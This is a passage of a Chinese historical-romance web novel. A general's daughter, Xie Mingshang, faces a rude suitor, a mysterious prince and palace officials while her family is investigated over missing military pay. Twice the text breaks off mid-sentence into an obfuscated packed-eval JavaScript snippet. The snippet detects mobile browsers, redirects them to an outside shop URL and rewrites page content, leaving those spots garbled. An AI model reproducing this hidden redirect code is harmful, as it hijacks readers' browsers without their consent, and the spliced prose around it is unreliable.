店掌柜的连连告饶,“这……若是提前包场,小店闭门不迎客也就罢了,一楼大堂已经坐满了客人,哪有把客人往外赶的道理呢。贵客见谅,贵客见谅!” 林慕远脸色一沉。林家豪奴纷纷叫嚷起来,“你们酒楼怎么做生意的,一楼客人太多不给包场,二楼没人又不让坐!” “我家三郎爱清净,要么一楼包场,要么二楼给腾出个清净阁子。没本事招待贵客的话,你们这酒楼索性关门罢!” 动静闹得大,酒楼欢门外围了一溜儿看热闹的百姓。 大堂门口处闹哄哄的,两边争执不休,谢府八名家仆只管挡在二楼楼梯口处,抱臂冷眼旁观。 门外看热闹的众人正伸长了脖子张望时,忽然有个长方形状的硬底请帖,轻飘飘地从楼上掉了下来 。 啪嗒,落在地上。 空荡荡的二楼长廊尽头,风从临街大开的木窗吹进来,吹起了阁子门帘,露出遮挡门户的山水锦缎大屏风。 谢明裳站在长廊扶手处,垂眸往楼下看。 高门女眷出行常用的黑纱帷帽,将五官肌肤遮挡的严严实实;婀娜身段也隐藏在宽大的披风之下,若非极熟识的亲近人物,绝对看不出二楼贵女的身份。 店掌柜的赶紧上来连连致歉,“惊扰了贵客,惊扰了贵客。” “二楼确实景致绝佳,难怪招人惦记。——让他上来坐吧。”谢明裳厌倦地道,“反正我也要走了。” 在谢氏家仆的簇拥之下,谢明裳几步下了木梯,于一楼木楼梯口转弯处,与发怔的林慕远擦肩而过。 “帖子拿回去。” 擦身错过的瞬间,谢明裳轻声道,“脏了我的眼。” 谢明裳身上有一股淡淡的药香。 那是长期服用药酒方子,身上残留的药味,像雪后腊梅的冷香。 那药香极淡,若有若无,她自己都没有察觉,只有极近身的时候,才能闻到细微丝缕的浅香。 林慕远心神发飘,站在原地发起了愣。 直到抱着梨枝的纤长身影走向门外,林府长随拾起地上的请帖递给自家主人,他终于回过神来,怒喝,“谢六!” 谢明裳的脚步停在门口,回睨一眼。 她是父亲膝下的独女。她爹将近四十岁的年纪老树开花生下了她,她在谢家宗族同辈姊妹当中排行第六,最小的一个。 外头不知晓她闺名的儿郎们,平日提起她时一个个神色莫测地称呼“谢家那个难缠的六娘”,火冒三丈时连代表女儿家的“娘“都省下了,直呼“谢六”。 “你……你……我……”林慕远磕巴了几句,终于找着借口,扯着自己衣裳抖了抖,抖下几枚雪白的花瓣。 “我上好的衣裳,头天新上身,被你家不长眼的家仆给毁了!” 他扬起下巴,示意自己的长随:“去,把帖子扔回给她!不赔林某的衣裳,这事没完。” 林家长随不敢真的把帖子往贵女身上扔,朱红请帖硬邦邦地双手递过去,谢明裳指尖一松,又轻飘飘地落在地上。 “哎哟……”林府长随还没来得及捡,谢明裳已经从袖中抽出一叠交子,看也不看,递给了兰夏,踩着地上的请帖出了门。 兰夏把交子的纸面展开,清楚地展示给所有人看。 “大家都看好了,面额二十贯的交子五张,各大商铺皆可兑付。一百贯整,便是金子织的衣裳也够赔的了。” 兰夏高声喊完,把纸钞卷吧卷吧,往赶过来的林府长随手里一塞, “一百贯买个清净,以后别来烦我家娘子!”跟随主人身后,也踩着地上的请帖出了门。 黑压压聚集的酒楼门口,人群轰然议论开了。 “我个天,什么金贵衣裳值上百贯?普通人家整年吃喝都用不了百贯。” “哪家的林三郎,穿着人模狗样的,其实是做讹人活计的街头浪荡儿吧。” “天子脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399660|141215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,当街讹钱。也不怕被人报官缉拿了去。” 林慕远面皮涨红,又渐渐青白,他身边长随还不长眼地把交子纸钞喜滋滋奉过来,“得了一百贯。小的清点无误……” 林慕远劈手就是一记耳刮子,冷声道: “谁要她一百贯!交子还她,林某手里送出去的请帖,她不想拿也得拿!” 围观看热闹的议论声中,谢氏家仆早护送自家娘子出了门。 谢明裳怀抱着刚摘下的两支梨花,顺着欢门长廊往外走。 周围闹哄哄的,木廊两边点缀的花枝遮挡住了视线,不留神间,竟未察觉前头刚出酒楼的家仆猛地停步,几乎撞在一处。 人来人往的御街上,不知何时出现了大批拒马叉子,拦阻两边道路不让出入。酒楼门口的谢家马车不知被挪去了何处。 八位家仆里领头的姓耿,外号‘耿老虎’,是关外退下来的老兵,天不怕地不怕,当即挤开乌泱泱围观的人群,寻官兵问话。 片刻后,脸色难看地回来。 “娘子,今天不凑巧,刚好碰着御街封路。这帮孙子不打招呼把我们的马车挪走了!” 谢明裳:“问问他们,封多久?为何封了御街。” 耿老虎:“问过了,他们不肯说。只说有护送差事,等路口解封了再行马车。小人想取回马车,两边推搡几下,对方亮了腰牌,是皇城司的人。皇城司这帮孙子惯常捧高踩低,今天是不是故意反水,为难我们谢家?” “嗯?”谢明裳纤长的手指抚摸着梨花枝。 谢家人此刻已走到酒楼廊子尽头,隔一道欢门便能看到街上的动静。 不知何时挤出百来个便衣佩刀汉子,驱散靠近酒楼的围观百姓,又在御街两边组成人墙,摆上拒马叉子,果然是皇城司出动办事的架势。 靠近酒楼这边的御街上,勒停了一溜排几十匹骏马。 几十名精悍轻骑团团簇拥着当中一匹雄健高大的黑马,马上男子穿戴寻常,一袭简单海青色交领窄袖袍子,乌皮长马靴,腰间什么佩饰也无,领着数十轻骑收拢住缰绳,隔人群望向酒楼这处。 既不发话,也不走。瞧着像路过看热闹的模样。 原本停在酒楼门外的谢家马车,果然被挪去了对面。 皇城司人墙堵住酒楼大门,倒把谢家人和后头追来的林家人堵在一处。 “确定是皇城司的人挡我们的路?”谢明裳问。 经过漫长的夜晚,又被堵在酒楼门口,帷帽下的娇艳眉眼泛起淡淡的疲倦和厌烦神色。 “皇城司的人讹钱也得有个数。过去问问,要多少钱才让道?讹得少给他们,讹多了报官。” 她说话并未刻意压低声音。酒楼门里和大街不过隔着几步距离,周围耳朵听得清清楚楚。 背对酒楼组成人墙的确实是皇城司麾下。三两句被人定下“讹钱”,齐刷刷扭头,纷纷露出受辱愠怒的目光。 御街边上看热闹的百姓噗嗤乐了一片。 众多议论声和笑声里,街上停驻的几十匹轻骑却毫无动静,视线警惕锐利,从周围人群面上逡巡而过。不怎么像看热闹,倒像临战的悍兵。 一名皇城司都尉急匆匆走向众轻骑。轻骑的包围圈打开一个口子,放他进入。那都尉站去黑马面前,往马背上抱拳行礼,低声说几句。 谢明裳站在酒楼廊子边,也在远远地打量黑马上那男子。 距离远又背光,看不清相貌五官,倒能一眼看清身材体貌。此人是个身材挺拔的盛年男子,宽肩蜂腰,身量颀长,单手拢缰绳坐在马上的姿态熟谙而放松,显然是个弓马娴熟的好手。 出动皇城司清道护送,不知是个什么来头。 兰夏不知留意到什么,忽然一扯谢明裳: “娘子,你看他肩膀!他马鞍上……哎呀!咱们刚才掰的梨花枝!” 几乎同时,黑马上的男子又转头看向酒楼方向。 谢明裳这才赫然发现,那人原来不是穿着海青色衣裳搭配白交领,而是肩膀胸前堆满了白色梨花瓣。 只一个转头的细微动作,便有几瓣雪白的梨花从他肩头缓缓飘落,随风落去海青色的前襟,袖口,衣摆四周,乌皮靴面。 马上男子盯了眼廊子这边的谢明裳主仆,抬手又拍了下马鞍。 几十瓣梨花碎雪般地簌簌滚落下来。 5. 第 5 章 谢家人和皇城司杠上,早不是一次两次了。 皇城司隶属禁军,按理来说归属枢密院的主官:枢密使谢崇山管辖。 但皇城司衙门的职责特殊,充作天子耳目,可以密报直达天听,又时常奉天子密令行事。谢枢密使这个外来的主官不怎么管得动皇城司。 公务上的龃龉牵扯不清,给谢家留下恶劣的印象。 总之,谢家人和皇城司,在京城十分的不对付。 人墙分开一个缺口,皇城司都尉过来理论。 “闹市争吵,成何体统。误了皇城司公务,何人担待得起!酒楼大堂里那位自称林相公家的三衙内,眼前这位想必是谢枢密家的千金了?你们为何争执,皇城司不管。刚才哪个张口污蔑皇城司讹钱的?岂有此理!出来赔罪!” 对方放着林三郎不问,偏在众目睽睽之下堵着谢家问话,分明拉偏架。 谢明裳抬着下巴冲兰夏点了点。 兰夏心领神会,即刻上去对阵,叉腰反问: “皇城司专心公务,不想讹钱,你们为何单扣着我家的马车不放?青天白日的,林三郎放肆纠缠官眷家的女郎,如此恶行你们不管,我家娘子欲离去,你们不去拦林三郎的人,偏堵住我家娘子的路干嘛?好狗还不挡道呢。” 说到最后着实不客气,皇城司都尉给气了个倒仰,反唇相讥。 “天子脚下,号称官眷,你们当真是谢枢密家的官眷?怎的从车夫到家仆,一个个遮遮掩掩,藏头露尾?哼,形迹十足可疑,我看该不会是假冒的——”话还未落地,旁边几个皇城司同僚赶紧把人拦去后头。 但已经迟了。 被言语激怒的谢家这边:“……”拳头硬了。全硬了。 谢氏父子同时遭了言官弹劾,去职待查,谢家在风口浪尖。 谢明裳昨夜出门寻未婚夫杜幼清,自然要避人耳目。坐的是雇来的乌篷马车,家仆也换下平日里的谢家家仆装束,换了身成衣店里现买的成衣,戴上斗笠。 从耿老虎往下,各自低头打量自己“藏头露尾“的装束,气得一阵心梗。 耿老虎张口就追着骂,“吃软饭的小白脸,身板没个三两重,不够两斧子削的,全身只有一张嘴硬,狗眼看人低!——” 刹那间,仿佛一瓢水泼进热油锅里,两边轰然对骂,拔刀的拔刀,亮拳头的亮拳头,剑拔弩张。 从头到尾,谢明裳抱着花枝,漫不经意地站廊子边上看着。 兰夏没骂错,好狗不挡路,骂战也是战。 谢家应战从来不输阵。 谢家五年前调入京城,爹爹对她耳提面命,京城满地的高官宗室,勋贵郎君,一个个在锦绣堆里养得身娇体弱不经打,一顿拳头下去容易出人命。钱能解决的事,千万别动手。 不动手,那就动嘴。 谢家家仆都是战场退下来的老兵油子,荤的素的张嘴就骂。骂得难听怎么了?嘴上骂几句不疼不痒的,对方受不了当街扭打起来,哦,当然对方没理。 反正先动手的不是谢家人。 眼看两边叫骂得差不多了,再骂下去就得动手,谢明裳这才伸出洁白的手腕,不怎么尽心地阻止了一下。 说起来,谢家这边也有小错。 小错出钱消灾。 街上停驻的数十轻骑不走,黑马上身量颀长的男子依旧盯着酒楼这边。海青色的袍子底色深,衬得肩头一层梨花瓣雪白,至今还未打理干净,风吹过便落下一两片。 男子身上穿的袍子看着不似昂贵缎料,谢明裳瞧了几眼,从袖中取出两张交子,递给兰夏。 兰夏嘟嘟囔囔地捏着纸钞过去了。 “林三郎身上的衣裳好歹还绣了金线,这位倒好,一套半新不旧的细布袍子赚了四十贯。” 也不等回话,把纸交子往皇城司都尉手里一塞, “拿稳了,当面交给人家,我家娘子给街边那位郎君买衣裳的钱,可不是给你们皇城司的!可以让路了吗!” 皇城司都尉不敢自行决策,忍气攥着纸交子送往正主处。兰夏已经小跑回去,扶着谢明裳往门外便走。 耿老虎领着家仆赶上前头护卫驱赶,习以为常,边走边喝,“拿了钱还不让路!讲不讲规矩!” 皇城司人墙:“……” 街上围拢的轻骑打开一个缺口。一名年轻幕僚下马接过纸交子,快步呈交于主上的坐骑前,轻声询问: “殿下,交子要不要退回去?” 说话间,只听一阵细微的环佩叮当声,谢明裳在谢氏家仆的护卫下,已经搡开人墙,走向街对面的谢家马车。 数十匹轻骑人马在街上围拢一个大圈,谢家倒也不招惹,两边擦身而过。 年轻幕僚立着的街侧边,始终未发言语的主家突然勒转缰绳,转过半个身子。原本背光看不清的面容便显露出来。 谢明裳正好抱着花枝路过,本能地回瞥一眼。 两边当街打了个照面。 谢明裳自己带了帷帽,所谓照面,其实是她隔着黑纱把对方看清楚了。 黑马上坐着的是个二十来岁的面生男子。肤色不似京城里的贵胄子弟白皙如豆腐,而是晒多了日光常见的小麦肤色。 天庭饱满,浓眉朗目,鼻如悬胆,相貌生得英武贵气,以至于身上这身寻常衣裳都被人衬得贵重三分。 相貌不俗……谢明裳想了想,确定京城没见过这号人。 年轻幕僚得了吩咐,快步走回谢家队伍,把两张交子原封不动递还给谢明裳。 马背上的郎君就在这时开了口。 “林氏子为何事找你麻烦。” 他开口的语气倒是和缓,只是嗓音坚实有力,用的肯定句式,听在耳中便觉出平静语气遮挡不住的坚硬底色。 谢明裳抬手拨了下微微晃动的黑纱,心里升起几分不悦。 相比于和缓的嗓音来说,男子从高处俯视她的目光过于锐利了。 如果视线有钩子 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片刻后,脚步声纷乱响起,原来是林慕远听闻人竟脱身走了,领着长随追出门来。 谢家马车飞驰而去的烟尘尚未消散。 林慕远愤然喝道:“人墙让开!牵马!她的马车在街上行不快,我们进巷子抄近路!” 黑马上的颀长男子被众轻骑簇拥着,依旧驻马街边,视线从谢家马车消失的方向收回,盯了眼追出酒楼的林三郎。 …… 短短片刻后,林家众豪奴尽数被压翻在地,林慕远挣扎怒骂着被提溜出酒楼门外,捆缚在毛皮油亮的雄健黑马尾巴后头。 围观人群的轰然议论声里,皇城司都尉吃了一惊,急忙在马前拦阻。 “殿下久不在京城,兴许不认识,这位林三郎并非寻常家儿郎,乃是林相公府上的三衙内。” 皇城司都尉存心卖好,继续悄声泄露内情:“林相公府上的两位公子都不幸英年早亡,膝下只剩三郎这位幼子,难免宠得厉害些。林相公近年极得圣人倚重,殿下头一日进京,刚刚入宫面圣回来,尚未安顿,委实不必伤了与林相公的和气……” 被称作“殿下”的萧挽风神色纹丝不动。 不等皇城司都尉卖好求情的言语说完,长靴轻轻一踢,军马开始小跑前行,被捆缚马尾的林三郎跌跌撞撞地跟在后头奔跑。 都尉大惊之下竟想扯住缰绳拦阻,萧挽风抬起马鞭,一鞭子毫不留情抽在马臀上。骏马长嘶着往前纵跃,试图拦阻的都尉顿时四仰八叉摔去边上。 两名亲兵过去,把人左右架起拖去路边。其余众亲兵围拢护卫主帅马前。 黑色骏马沿着御街轻快地四蹄小跑,路边看热闹的百姓指点议论不休。 萧挽风一圈圈收拢马鞭,平淡吩咐下去: “取本王名帖,递送林相府。传话说:林家教子无方,本王替他管教。” 6. 第 6 章 晃晃悠悠的谢家马车上,谢明裳放下纱帘,抱着引枕,往后一靠。 她想了会儿街上的那人,对方举动莫名其妙,停在路边半天不走,不肯接赔偿,却在街上寻她搭话,倒像是刻意搭讪的手段似的。 口音倒听着像京城人氏。也不知哪家远行的儿郎返京。 她整夜在外奔波,支撑到现在,已经疲惫到了极点,实在不想再为意外小事费心。 “林子大了,什么样的鸟都有。” 谢明裳喃喃道一句,把引枕抱在怀里,很快就把身后的人抛去脑后,和兰夏两个肩头靠在一处,两人在平缓起伏的轮轴滚动声里闭眼小寐。 昨夜实在累了。 一条巷子未走完,人便陷入模糊朦胧的梦境中。 她又梦见了下雪的山野。 雪花大如车轮,从半空漫无边际的洒落,远处群山峰峦起伏,在大雪里只剩下轮廓。 梦里的她起先是一只麋鹿,顶着巨大的鹿角在雪地里奔跑,鹿蹄子踩进碎雪里的冰凉触感无比真实。 跑着跑着,鹿蹄子太冷了,她打了个哆嗦,摇身一变,忽又成了雪地里奔跑的豹猫儿,腾身一跃,便轻盈地越过面前雪堆,又越过冰封的大河,直奔雪山之巅。 漫天飘舞的雪花里,群山幽谷回荡着豹猫儿得意的占山宣告: “喵呜~~喵呜呜~~” 谢明裳从睡梦里笑醒了。 迎面却撞见兰夏泪汪汪的眼。 “太欺负人了。”兰夏早醒半刻钟,越回想越难过,抽抽噎噎道,“咱们谢家还没倒呢。就有不长眼的坏胚子过来欺负娘子了!先是阴魂不散的林三,后面又不知是哪家阿猫阿狗,故意撞上来看笑话!” 梦里愉悦的感觉还残留着,谢明裳浅笑摇头。 “那人有皇城卫护送,必有官身的。京城没这号人,兴许是地方州府巡视的监察史回京了?或者哪处的刺史入京述职。不至于专门跑来就为了欺负我们。应该是偶遇。” 兰夏还在嘀咕那人:“长得倒是相貌堂堂,但眼神吓人,盯人像雪亮亮的刀子一般,瞧着不和善。实不像文官,像领兵打仗的。” 谢明裳回忆起擦身而过瞬间的惊鸿一瞥,疲倦地抬手遮住小呵欠。 “确实眼神锋芒尖锐,控马的姿态又熟谙。可能和爹爹从前一样,也是个镇守边境的将军也说不定。” 谢家本就是武将门第出身,再凶悍的将军她也不怵。比起京城这些吃人不吐骨头的笑面虎来说,“边境来的将军”这几个字反倒在她心里感觉更亲近些。 “路上这么久了,在大街小巷里弯弯绕绕的,还没到家么?”她扬声问耿老虎。 “娘子真的要回?”耿老虎慢腾腾地赶着车。他心里有顾虑。 “昨晚常将军送消息来,说起发兵围谢家的事……常将军负责值守外皇城的中书省值房那一片,消息向来精准。娘子人已出门,为何要回去。万一……岂不是自投罗网。” “不回家去,又去哪里?” 谢明裳反问。 耿老虎苦劝:“娘子既然把少夫人送出了京城,送娘子出去也是一样。今日出城方便。” 谢明裳隐约猜出耿老虎为什么只绕弯子不回程,又三番两次地劝她了。昨夜出门前,爹爹多半叮嘱了他些什么。 但梨花酒楼独坐半日,她已想得清楚。 “不,就因为送走了嫂嫂,我才不能走。” 京城谁不知父亲膝下只有她和哥哥一双儿女?记录在案的谢家人已少了个大嫂刘氏,如果连她都消失不见,必然会催发皇榜缉捕,祸害了留在家里的父母哥哥,牵累所有好意帮扶的人。 远的不说,今夜跟随她出门的耿老虎八人,酒楼露面的兰夏,都会从重论罪。 “福祸自有论定,让它来。”谢明裳坦荡荡道, “谢家风光的时候,我得了许多好处;如今家里出事,我这谢家人一起担着便是。你无需再劝我。” 耿老虎缄默无言。 马车在下个巷口调转了方向,不再蜿蜒穿梭,笔直向城西行去。 兰夏跟着折腾了整夜加上早上,直到现在才似乎突然回过了神,抹着眼泪,小声嘀咕了一路。 “抄家问罪的祸事可不是闹着玩儿的。但凡有别的法子,能不到那一步,千万别走到那一步。娘子,你、你可要想清楚了。” 她把长公主手书的宗室公子名单从荷包里摸出来,重新塞进谢明裳手里,眼巴巴地望着她。 谢明裳捏了捏精致的信笺纸张,笑了一下,没继续掰扯,伸手把兰夏脸蛋沾湿的泪水抹去,长公主的纸笺收进了自己的荷包里。 “天无绝人之路。别担心,总有法子的。” 城西长淮巷,谢宅的青瓦院墙近在眼前。巷口现出大批披甲禁军。耿老虎眼皮子狂跳,马车停在巷口,低声唤:“娘子!” 谢明裳早看到了。无事人般跳下车,拢紧肩头披风,当先往大门处走去。 她这边甫露面,值守的禁军即刻围拢上来。 一位佩刀披甲的禁军中郎将迎面堵在巷子口。 两边打了个照面,中郎将高声喝问“来者何人,身份报上!”不等回答,却又压低嗓音叹口气:“六娘,你怎么回来了?” 谢明裳一怔。怎么这么巧。 今日奉命领兵封堵谢家的禁军中郎将,居然是父亲的老部下。 ——正是昨晚冒险递交消息的常将军,常青松。 身穿紫袍的御前大宦黄内监得了报信,已经赶来巷口,阴阳怪气打量: “哟,这不是谢六娘吗。好个小娘子,出去逛了整夜加大早上?倒叫咱家好等。你大嫂刘氏人呢,别磨磨蹭蹭了,赶紧下车。已经清点过一轮谢家丁口,只等你们姑嫂回家,谢家人齐了,咱家也能回去复命。” “什么大嫂?”谢明裳和兰夏互相搀扶着往门里走,若无其事说:“我昨晚出去吃酒。偷偷摸摸出门,哪能带上大嫂。” 黄内监震惊地抬高嗓音:“什么?!刘氏人没和你一处?” 谢明裳人已迈进门里,不耐烦道:“大嫂不好好待在家里,又能去哪里。公公少左拉右扯不相干的,不是要清点人口?我人已经在家了,公公赶紧清点吧。夜里偷偷出去吃个酒都不安生。” ———— 谢宅后院的庭院空地中,一小撮火焰升腾,青烟缭缭。 谢枢密使坐在石凳之上,将一封封书信丢入火中。 谢夫人坐在对面,拿铁钩子缓缓拨拉着火中的残纸灰烬。 谢家大郎君打横陪坐,望着明灭的火光发呆。 谢明裳便在这时踏进了院门。 她换回了平日里家中的穿戴,简简单单挽个垂云髻,石榴红色的十二幅明霞罗裙,冰蓝缠枝纹半袖,耳边坠明月珰。 谢夫人迎面见了她,原本平静无波的神色忽然一阵颤动,手一抖,铁钩子掉进了火里。 “明珠儿,你……“谢夫人抖着嘴唇埋怨,“昨夜一身衣裳穿得好好的,走了便走了,却又回来作甚!” 谢明裳坐到哥哥对面,足尖轻轻一踢,从火堆边把铁钩子踢出来,重新扒拉起残纸,统统送进火里烧干净。 “回来陪你们。”她轻松地道。 谢枢密使眼珠微动,转过视线。“昨夜见过杜幼清了?杜家不愿收留你?” 谢明裳只摇头,“爹爹,忘了杜家吧。” 谢枢密使垂下斑白的头,不再说话了。 “阿兄。”谢明裳从袖中掏出贺子浚留下的名刺和手书,对发着呆的兄长说: “贺侯在想办法替我们家奔走,嫂嫂已经托付给他看顾。他说事急时可以去城南侯府找他。” 谢大郎君精神一振,接过薄薄的书信,翻来复去看了几遍,神色倏然轻松许多。 “极好,极好。子浚挚友,我没有交错他——” 谢枢密使劈手夺下书信,扔进火里,沉声道,“谋事在人,成事在天。莫要连累了人家。” 火光熊熊,一家人安静对坐,许久无言。 谢夫人忽然嘲讽地笑了笑,“现在知道不要连累人家了。爷们在外头犯了事,连累的还是家里人。阿琅,明珠儿,我与你们说个笑话,从前我说居安思危,你们父亲说建功立业。我说京城的枢密使位子不好坐,坐上去的武将有几个善终的?不如继续留守边关。你父亲说身正不怕影斜,旁人坐不住的位子,他坐得住。呵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399662|141215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢家入京才几年?位子烫屁股了?” 谢枢密使在儿女面前被老妻猝然揭破面皮,羞恼不已, “你糊涂了。都什么时候了,还在翻旧账。” 谢夫人咬牙道,“叫我如何装不记得。从前在边关过得好好的,非要蹚京城的浑水。身正不怕影斜,你坐得直,行得正,怎么陷浑水里了?” 谢枢密使恨恨道:“与你说过多少遍了,我和那辽东王毫无干系!这次是被朝中政敌陷害。” “你和辽东王毫无干系,说给家里有什么用?你手中亏空的二十万两军饷去向呢?” “二十万两军饷”六个字传入耳,不止谢枢密使哑了,对坐的谢明裳兄妹两个也齐齐抬起头来。 这次谢家之所以卷进辽东王叛乱大案,最根本的缘故,就是追查叛乱案时,意外查出二十万两军饷的亏空。 谢枢密使身为枢密院主官,说不清巨额军饷的去向;朝野渐渐升起风言风语,消失不见的军饷被私运去了辽东王叛军处。流言越传越广,三人成虎。 谢大郎君单名一个琅字,是家中长子,轻声道: “儿子并非质疑父亲。这次彻查辽东王谋逆大案,意外查出历年发往边关九镇的军饷累计亏空二十万两。这笔银子真真切切,不翼而飞。父亲总领九边军务事,可知道其中线索,银两流落何处?” 谢枢密使苦笑,“我若知道军饷去了何处,此刻还会困坐在家中么。” 谢琅沉默了。 对于老爹的话,谢明裳却并不全信,坐在火堆面前,拿着母亲的铁钩子继续拨弄着残灰。 “爹爹和辽东王毫无干系,女儿相信。家里人也都相信。” 但京城房价极贵,谢家开销又大。她最近都在想,只靠父亲的俸禄,怎能买得下这么大一间好地段的宅子,雇得起那么多的仆妇小厮,再加上二叔那边的供养花销…… 谢明裳眸子里带出探究之意:“爹爹手里不翼而飞的二十万两军饷,到底去何处了?军饷巨额亏空,当真毫不知情?家里没有外人,爹爹给个实话。” 谢枢密使这下当真又急又怒,脖颈上青筋都浮出。“……你老子没有贪污军饷!” “老夫只不过按京城的惯例,收一点地方将领官员的孝敬罢了!地方上棉衣多要几套,军械多领几支,米粮多拉走两车,睁只眼闭只眼放过去。谁知查出二十万两的窟窿!” 谢明裳:“哦,所以是收了下面的孝敬,平日里睁只眼闭只眼,整出一笔糊涂账,替人做了冤大头。” 父女倆面面相觑。 隔片刻,谢枢密使又愤然道: “自古武将难善终。你老子军功第一,‘功高盖主’四个字你没听过?老夫想明白了,没有辽东王谋逆案牵连谢家,还会有旁的大案牵连,谢家迟早有今天!” “女儿知道。女儿不悔做谢家人。” 谢明裳直视她父亲道:“爹爹无需跟我说这些,去跟娘说。娘跟着爹爹半辈子辛苦,没过几天舒坦日子。” 谢枢密使哑然良久,长叹一声,从墙边的武器架上提下一把木刀,转头对谢夫人道, “总归是我对不起你们。谢家不知还能团聚几日,要打便趁今日打吧。” 谢夫人拿刀背狠打了他肩背几下,抛下木刀,捂着脸跑进正屋。 庭院里一片静谧,只剩头顶木叶沙沙声响。 谢琅默不作声把火里的残纸都收拾完,熄了火。 谢明裳问,“该烧的都烧完了?阿兄,爹爹,我去看看娘。”说着站起身。 但黄内监今日领命来谢家,看在谢明裳主动归家让他可以交差的份上,黄内监愿意卖个面子,在前院等候少许时辰,并不意味着他愿意长长久久地等下去。 紧闭的内院门很快被敲响,黄内监扯着嗓子高喊: “日头过晌午了。寻不到谢家妇刘氏,不能耽搁了宫里的正事。谢家两位小娘子,谢五娘和谢六娘,还不快快出来,验明正身。” 庭院里的谢家父子齐齐吃了一惊,站起身来。 “这厮胡扯什么‘验明正身’,又不是上法场。”谢琅低声道。 谢枢密使面沉如水: “以不变,应万变。出去听他如何说。” 7. 第 7 章 对谢家小娘子所谓的“验明正身”,虽然并非囚犯上法场,却更严苛得多。 谢明裳被领入一间厢房,黄内监带来的宫女守在屋里,闭门点灯,仔细询问过生辰年月,籍贯出身,又将谢明裳的外貌,体态,逐个记录在案,甚至让她张嘴验看牙齿。 谢明裳老实不客气地一巴掌过去,结结实实响亮一声,把碰触唇角的手打去旁边。 “这是哪家的规矩。查牙口,你们卖人呢?” 那宫女倒也不怒,公事公办道:“宫里规矩如此。谢家两位娘子的情况是‘宫籍备用’。有‘备用’二字,少填写一两项无妨。但今日不填写,迟早要查验的。” 谢明裳盯了眼桌上摊开的薄薄纸张,也就是所谓“备用”的“宫籍”。 之后屋里两人未再交谈。宫人过来量身,记录身高腰身尺寸,谢明裳随她去。之后要求脱衣查验,宫人的手伸来解衣裙系带时,谢明裳抬手又是一巴掌,推门出了厢房。 兄长谢琅在庭院里等候。 “宫籍。”听到转述的两个字,谢琅露出浓重忧色:“那是入宫的宫女需填写的户籍名册。你和五娘……” 昨晚常将军递来的消息原话说: 外皇城的中书省值房里,两位中书舍人草拟圣旨,拟着拟着争论起来,常将军手下的人隐约听到几句。 着重争执的字眼,谢家的情况属于“籍没”还是“罚没”。 有个中书舍人说道:圣上的意思,籍没惩处太重,适当罚没即可。 谢琅心往下沉。他是精擅公务典籍的文官。 黄内监只寻谢家未出阁的五娘和六娘录入宫籍。短短刹那间,谢琅脑海里已经把中书省的草拟圣旨补全—— 【谢氏女,罚没宫掖。】 “宫籍备用。”谢明裳补充两个字,“备用什么意思?” 谢琅不熟宫里规矩,沉默着摇摇头。 对面厢房的谢家五娘正好推门出庭院。却是眼眶通红,脚步虚浮,眼角还挂着泪花的模样。 见了庭院里站着的谢明裳,五娘颤巍巍走近几步,带哭腔喊一声:“明珠儿。” 谢家五娘玉翘,是谢家二叔那边的堂姐。 二叔生养的孩儿多。这位五堂姐是二叔的第三个女儿,和她同岁,性子却绵软得多。 谢明裳见玉翘的神态便猜出,屋里被脱衣查验了。她过去拉着五娘的手站在一处。 庭院里无人开口交谈。隔几十步距离外,黄内监和谢枢密使正说场面话。 “宫里的事向来说不准。咱家今天奉命办差,上头吩咐什么,咱做什么。” “上头要清点谢家丁口,咱家过来清点。上头要谢氏女的宫籍备用,谢家几位未出阁的小娘子有一个算一个,宫籍填妥,咱家可以回去复命了。” 黄内监临走前打着哈哈:“谢枢密脸色不好看,这趟差事咱家也不想来。进谢家一趟,回家还得洗晦气。谢枢密,保重哪。” 谢崇山面色冷硬,保持着送客的手势,站在院门边良久未动。 谢明裳强忍疲倦等了半晌,泪汪汪地抬手,掩住一个困倦的呵欠。 “都累了。”谢家的当家之主最后道:“都回自己屋里歇着去。睡醒了再商量。” 谢明裳确实累了。眼下已过了晌午,细算起来,她已经整夜加半个白天没合眼。 她的身子向来不大好。千金虎骨制成的药酒整日带在身边,当做寻常温补药酒那般一年四季的喝,也不过让她在每年京城春秋换季的时节少病几场而已。 夜里外出时不觉得,等空闲下来,整夜积攒的疲惫仿佛江南梅雨天的湿气,从骨头缝里往外丝丝地冒。 她忍着困倦和父亲告退:“我回院子睡。爹,你别再和娘怄气了。你们加起来都过百岁的人了,消停几日。” 谢枢密使背身站着,冲她的方向摆摆手。 谢明裳往内院方向走出几步,忽地感觉身后有视线窥探。她敏锐地即刻回身,只见黄内监站在谢宅门外的台阶高处未走,揣着宫籍,正眯眼上下打量。 见她察觉,嘿地一笑,转身走了。 —— “黄公公辛苦。”奉命看守谢宅的常将军客客气气把黄内监送到长淮巷口。 “谢家清点丁口,少了个长房媳妇刘氏。卑职职责所在,黄公公看如何应对,要不要追捕……” “谢家儿媳妇跑了也就跑了,犯不着花大力气缉捕。”黄内监眯着眼笑说:“谢家小娘子可不能少。” “尤其是谢枢密的嫡女六娘,长得好啊。将来兴许有大用。常将军把人看紧了。” 常青松隐约感觉不对,谨慎地探口风:“卑职驽钝,一个未出阁的小娘子,有大用的意思是……?” 黄内监哈哈大笑起来,“老常啊,你确实驽钝。” “不和你掰扯了。” 黄内监看看天色,吩咐车驾赶紧回宫。 “贵人入京,这两天宫里日日开宴。今晚办小宴,两天后还有个大的。咱家得回去盯着。” * 